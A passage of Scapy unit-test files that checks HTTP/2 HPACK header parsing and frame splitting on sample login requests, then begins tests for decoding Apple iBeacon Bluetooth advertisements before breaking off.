GET\n:path /index.php\n:scheme https\nx-generation-date: 2016-08-11\nuser-agent: Mozilla/5.0 Generated by hand\nX-Generated-By: Me'''\n\nassert h.gen_txt_repr(p) == expected_output\n\n= HTTP/2 HPackHdrTable : Parsing Textual Representation\n~ http2 hpack hpackhdrtable helpers\n\nbody = b'login=titi&passwd=toto'\nhdrs = ''':method POST\n:path /login.php\n:scheme https\ncontent-type: application/x-www-form-urlencoded\ncontent-length: {}\nuser-agent: Mozilla/5.0 Generated by hand\nx-generated-by: Me\nx-generation-date: 2016-08-11\nx-generation-software: scapy\n'''.format(len(body))\n\nh = h2.HPackHdrTable()\nh.register(h2.HPackLitHdrFldWithIncrIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))\n))\nseq = h.parse_txt_hdrs(\n    hdrs,\n    stream_id=1,\n    body=body,\n    should_index=lambda name: name in ['user-agent', 'x-generation-software'],\n    is_sensitive=lambda name, value: name in ['x-generated-by', ':path']\n)\nassert isinstance(seq, h2.H2Seq)\nassert len(seq.frames) == 2\np = seq.frames[0]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 1\nassert len(p.flags) == 1\nassert 'EH' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2HeadersFrame)\nhdrs_frm = p[h2.H2HeadersFrame]\nassert len(p.hdrs) == 9\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 3\nhdr = p.hdrs[1]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 1\nassert hdr.index in [4, 5]\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(/login.php)'\nhdr = p.hdrs[2]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 7\nhdr = p.hdrs[3]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 31\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)'\nhdr = p.hdrs[4]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 28\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(22)'\nhdr = p.hdrs[5]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 58\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)'\nhdr = p.hdrs[6]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 1\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generated-by)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(Me)'\nhdr = p.hdrs[7]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 63\nhdr = p.hdrs[8]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generation-software)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(scapy)'\n\np = seq.frames[1]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 0\nassert len(p.flags) == 1\nassert 'ES' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2DataFrame)\npay = p[h2.H2DataFrame]\nassert pay.data == body\n\n# now with bytes\nh = h2.HPackHdrTable()\nh.register(h2.HPackLitHdrFldWithIncrIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))\n))\nseq = h.parse_txt_hdrs(\n    hdrs.encode(),\n    stream_id=1,\n    body=body,\n    should_index=lambda name: name in ['user-agent', 'x-generation-software'],\n    is_sensitive=lambda name, value: name in ['x-generated-by', ':path']\n)\nassert isinstance(seq, h2.H2Seq)\nassert len(seq.frames) == 2\np = seq.frames[0]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 1\nassert len(p.flags) == 1\nassert 'EH' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2HeadersFrame)\nhdrs_frm = p[h2.H2HeadersFrame]\nassert len(p.hdrs) == 9\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 3\nhdr = p.hdrs[1]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 1\nassert hdr.index in [4, 5]\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(/login.php)'\nhdr = p.hdrs[2]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 7\nhdr = p.hdrs[3]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 31\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)'\nhdr = p.hdrs[4]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 28\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(22)'\nhdr = p.hdrs[5]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 58\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)'\nhdr = p.hdrs[6]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 1\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generated-by)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(Me)'\nhdr = p.hdrs[7]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 63\nhdr = p.hdrs[8]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generation-software)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(scapy)'\n\np = seq.frames[1]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 0\nassert len(p.flags) == 1\nassert 'ES' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2DataFrame)\npay = p[h2.H2DataFrame]\nassert pay.data == body\n\n= HTTP/2 HPackHdrTable : Parsing Textual Representation without body\n~ http2 hpack hpackhdrtable helpers\n\nhdrs = b''':method POST\n:path /login.php\n:scheme https\nuser-agent: Mozilla/5.0 Generated by hand\nx-generated-by: Me\nx-generation-date: 2016-08-11\n'''\n\nh = h2.HPackHdrTable()\nh.register(h2.HPackLitHdrFldWithIncrIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))\n))\n\n# Without body\nseq = h.parse_txt_hdrs(hdrs, stream_id=1)\nassert isinstance(seq, h2.H2Seq)\n#This is the first major difference with the first test\nassert len(seq.frames) == 1\np = seq.frames[0]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 1\nassert len(p.flags) == 2\nassert 'EH' in p.flags\n#This is the second major difference with the first test\nassert 'ES' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2HeadersFrame)\nhdrs_frm = p[h2.H2HeadersFrame]\nassert len(p.hdrs) == 6\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 3\nhdr = p.hdrs[1]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index in [4, 5]\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(/login.php)'\nhdr = p.hdrs[2]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 7\nhdr = p.hdrs[3]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 58\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)'\nhdr = p.hdrs[4]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generated-by)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(Me)'\nhdr = p.hdrs[5]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 62\n\n\n= HTTP/2 HPackHdrTable : Parsing Textual Representation with too small max frame\n~ http2 hpack hpackhdrtable helpers\n\nbody = b'login=titi&passwd=toto'\nhdrs = ''':method POST\n:path /login.php\n:scheme https\ncontent-type: application/x-www-form-urlencoded\ncontent-length: {}\nuser-agent: Mozilla/5.0 Generated by hand\nx-generated-by: Me\nx-generation-date: 2016-08-11\nx-long-header: {}\n'''.format(len(body), 'a'*5000).encode()\n\nh = h2.HPackHdrTable()\nh.register(h2.HPackLitHdrFldWithIncrIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))\n))\n\n#x-long-header is too long to fit in any frames (whose default max size is 4096)\nexpect_exception(Exception, \"seq = h.parse_txt_hdrs('''{}''', stream_id=1\".format(hdrs))\n\n= HTTP/2 HPackHdrTable : Parsing Textual Representation with very large header and a large authorized frame size\n~ http2 hpack hpackhdrtable helpers\n\nbody = b'login=titi&passwd=toto'\nhdrs = ''':method POST\n:path /login.php\n:scheme https\ncontent-type: application/x-www-form-urlencoded\ncontent-length: {}\nuser-agent: Mozilla/5.0 Generated by hand\nx-generated-by: Me\nx-generation-date: 2016-08-11\nx-long-header: {}\n'''.format(len(body), 'a'*5000).encode()\n\nh = h2.HPackHdrTable()\nh.register(h2.HPackLitHdrFldWithIncrIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))\n))\n\n# Now trying to parse it with a max frame size large enough for x-long-header to\n# fit in a frame\nseq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192)\nassert isinstance(seq, h2.H2Seq)\nassert len(seq.frames) == 1\np = seq.frames[0]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 1\nassert len(p.flags) == 2\nassert 'EH' in p.flags\nassert 'ES' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2HeadersFrame)\nhdrs_frm = p[h2.H2HeadersFrame]\nassert len(p.hdrs) == 9\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 3\nhdr = p.hdrs[1]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index in [4, 5]\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(/login.php)'\nhdr = p.hdrs[2]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 7\nhdr = p.hdrs[3]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 31\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)'\nhdr = p.hdrs[4]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 28\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(22)'\nhdr = p.hdrs[5]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 58\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)'\nhdr = p.hdrs[6]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generated-by)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(Me)'\nhdr = p.hdrs[7]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 62\nhdr = p.hdrs[8]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-long-header)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000)\n\n= HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers and a large authorized frame size\n~ http2 hpack hpackhdrtable helpers\n\nbody = b'login=titi&passwd=toto'\nhdrs = ''':method POST\n:path /login.php\n:scheme https\ncontent-type: application/x-www-form-urlencoded\ncontent-length: {}\nuser-agent: Mozilla/5.0 Generated by hand\nx-generated-by: Me\nx-generation-date: 2016-08-11\nx-long-header: {}\nx-long-header: {}\n'''.format(len(body), 'a'*5000, 'b'*5000).encode()\n\nh = h2.HPackHdrTable()\nh.register(h2.HPackLitHdrFldWithIncrIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))\n))\n\n# Now trying to parse it with a max frame size large enough for x-long-header to\n# fit in a frame but a maximum header fragment size that is not large enough to\n# store two x-long-header\nseq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192)\nassert isinstance(seq, h2.H2Seq)\nassert len(seq.frames) == 2\np = seq.frames[0]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 1\nassert len(p.flags) == 1\nassert 'ES' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2HeadersFrame)\nhdrs_frm = p[h2.H2HeadersFrame]\nassert len(p.hdrs) == 9\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 3\nhdr = p.hdrs[1]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index in [4, 5]\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(/login.php)'\nhdr = p.hdrs[2]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 7\nhdr = p.hdrs[3]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 31\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)'\nhdr = p.hdrs[4]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 28\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(22)'\nhdr = p.hdrs[5]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 58\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)'\nhdr = p.hdrs[6]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generated-by)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(Me)'\nhdr = p.hdrs[7]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 62\nhdr = p.hdrs[8]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-long-header)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000)\np = seq.frames[1]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 9\nassert len(p.flags) == 1\nassert 'EH' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2ContinuationFrame)\nhdrs_frm = p[h2.H2ContinuationFrame]\nassert len(p.hdrs) == 1\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-long-header)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000)\n\n= HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers, a large authorized frame size and a \"small\" max header list size\n~ http2 hpack hpackhdrtable helpers\n\nbody = b'login=titi&passwd=toto'\nhdrs = ''':method POST\n:path /login.php\n:scheme https\ncontent-type: application/x-www-form-urlencoded\ncontent-length: {}\nuser-agent: Mozilla/5.0 Generated by hand\nx-generated-by: Me\nx-generation-date: 2016-08-11\nx-long-header: {}\nx-long-header: {}\n'''.format(len(body), 'a'*5000, 'b'*5000).encode()\n\nh = h2.HPackHdrTable()\nh.register(h2.HPackLitHdrFldWithIncrIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))\n))\n\n# Now trying to parse it with a max frame size large enough for x-long-header to\n# fit in a frame but and a max header list size that is large enough to fit one\n# but not two\nseq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192, max_hdr_lst_sz=5050)\nassert isinstance(seq, h2.H2Seq)\nassert len(seq.frames) == 3\np = seq.frames[0]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 1\nassert len(p.flags) == 1\nassert 'ES' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2HeadersFrame)\nhdrs_frm = p[h2.H2HeadersFrame]\nassert len(p.hdrs) == 8\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 3\nhdr = p.hdrs[1]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index in [4, 5]\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(/login.php)'\nhdr = p.hdrs[2]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 7\nhdr = p.hdrs[3]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 31\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)'\nhdr = p.hdrs[4]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 28\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(22)'\nhdr = p.hdrs[5]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 58\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)'\nhdr = p.hdrs[6]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generated-by)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(Me)'\nhdr = p.hdrs[7]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 62\np = seq.frames[1]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 9\nassert len(p.flags) == 0\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2ContinuationFrame)\nhdrs_frm = p[h2.H2ContinuationFrame]\nassert len(p.hdrs) == 1\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-long-header)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000)\np = seq.frames[2]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 9\nassert len(p.flags) == 1\nassert 'EH' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2ContinuationFrame)\nhdrs_frm = p[h2.H2ContinuationFrame]\nassert len(p.hdrs) == 1\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-long-header)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000)\n\n= HTTP/2 HPackHdrTable : Parsing Textual Representation with sensitive headers and non-indexable ones\n~ http2 hpack hpackhdrtable helpers\n\nhdrs = ''':method POST\n:path /login.php\n:scheme https\ncontent-type: application/x-www-form-urlencoded\ncontent-length: {}\nuser-agent: Mozilla/5.0 Generated by hand\nx-generated-by: Me\nx-generation-date: 2016-08-11\n'''.format(len(body)).encode()\n\nh = h2.HPackHdrTable()\nseq = h.parse_txt_hdrs(hdrs, stream_id=1, body=body, is_sensitive=lambda n,v: n in ['x-generation-date'], should_index=lambda x: x != 'x-generated-by')\nassert isinstance(seq, h2.H2Seq)\nassert len(seq.frames) == 2\np = seq.frames[0]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 1\nassert len(p.flags) == 1\nassert 'EH' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2HeadersFrame)\nhdrs_frm = p[h2.H2HeadersFrame]\nassert len(p.hdrs) == 8\nhdr = p.hdrs[0]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 3\nhdr = p.hdrs[1]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index in [4, 5]\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(/login.php)'\nhdr = p.hdrs[2]\nassert isinstance(hdr, h2.HPackIndexedHdr)\nassert hdr.magic == 1\nassert hdr.index == 7\nhdr = p.hdrs[3]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 31\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)'\nhdr = p.hdrs[4]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 28\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(22)'\nhdr = p.hdrs[5]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 58\nassert hdr.hdr_name is None\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)'\nhdr = p.hdrs[6]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 0\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generated-by)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackLiteralString(Me)'\nhdr = p.hdrs[7]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 1\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.data == 'HPackZString(x-generation-date)'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.data == 'HPackZString(2016-08-11)'\np = seq.frames[1]\nassert isinstance(p, h2.H2Frame)\nassert p.type == 0\nassert len(p.flags) == 1\nassert 'ES' in p.flags\nassert p.stream_id == 1\nassert isinstance(p.payload, h2.H2DataFrame)\npay = p[h2.H2DataFrame]\nassert pay.data == body\n"
  },
  {
    "path": "test/contrib/ibeacon.uts",
    "content": "% iBeacon unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('ibeacon')\" -t test/contrib/ibeacon.uts\n\n+ iBeacon tests\n\n= Presence check\n\nApple_BLE_Frame\nIBeacon_Data\nApple_BLE_Submessage\n\n= Apple multiple submessages\n\n# Observed in the wild; handoff + nearby message.\n# Meaning unknown.\nd = hex_bytes('D6BE898E4024320CFB574D5A02011A1AFF4C000C0E009C6B8F40440F1583EC895148B410050318C0B525B8F7D4')\np = BTLE(d)\n\nassert len(p[Apple_BLE_Frame].plist) == 2\nassert p[Apple_BLE_Frame].plist[0].subtype == 0x0c  # handoff\nassert (raw(p[Apple_BLE_Frame].plist[0].payload) ==\n            hex_bytes('009c6b8f40440f1583ec895148b4'))\nassert p[Apple_BLE_Frame].plist[1].subtype == 0x10  # nearby\nassert raw(p[Apple_BLE_Frame].plist[1].payload) == hex_bytes('0318c0b525')\n\n= iBeacon (decode LE Set Advertising Data)\n\n# from https://en.wikipedia.org/wiki/IBeacon#Technical_details\nd = hex_bytes('1E02011A1AFF4C000215FB0B57A2822844CD913A94A122BA120600010002D100')\np = HCI_Cmd_LE_Set_Advertising_Data(d)\n\nassert len(p[Apple_BLE_Frame].plist) == 